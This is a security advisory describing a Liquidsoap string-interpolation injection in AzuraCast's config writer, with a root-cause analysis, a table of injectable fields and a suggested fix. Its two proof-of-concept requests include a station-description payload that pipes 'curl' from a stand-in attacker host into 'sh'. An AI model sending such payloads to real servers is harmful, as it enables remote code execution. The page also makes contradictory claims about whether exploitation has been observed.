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GHSA-93fx-5qgc-wr38
No affected components available
Summary
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
Root Cause
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
#{...}— Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\— Backslash escape character
Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.
Injection Points
All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field | Permission Required | Config Line |
|---|---|---|
| playlist.remote_url | Media | input.http("...") or playlist("...") |
| station.name | Profile | name = "..." |
| station.description | Profile | description = "..." |
| station.genre | Profile | genre = "..." |
| station.url | Profile | url = "..." |
| backend_config.live_broadcast_text | Profile | settings.azuracast.live_broadcast_text := "..." |
| backend_config.dj_mount_point | Profile | input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}
The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PoC 2: Via Station Description (Profile permission)
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"
Trigger Condition
The injection fires when the station is restarted, which happens during:
- Normal station restart by any user with
Broadcastingpermission - System updates and maintenance
azuracast:radio:restartCLI command- Docker container restarts
Impact
- Severity: Critical
- Authentication: Required — any station-level user with
MediaorProfilepermission - Impact: Full RCE on the AzuraCast server as the
azuracastuser - CWE: CWE-94 (Code Injection)
Recommended Fix
Update cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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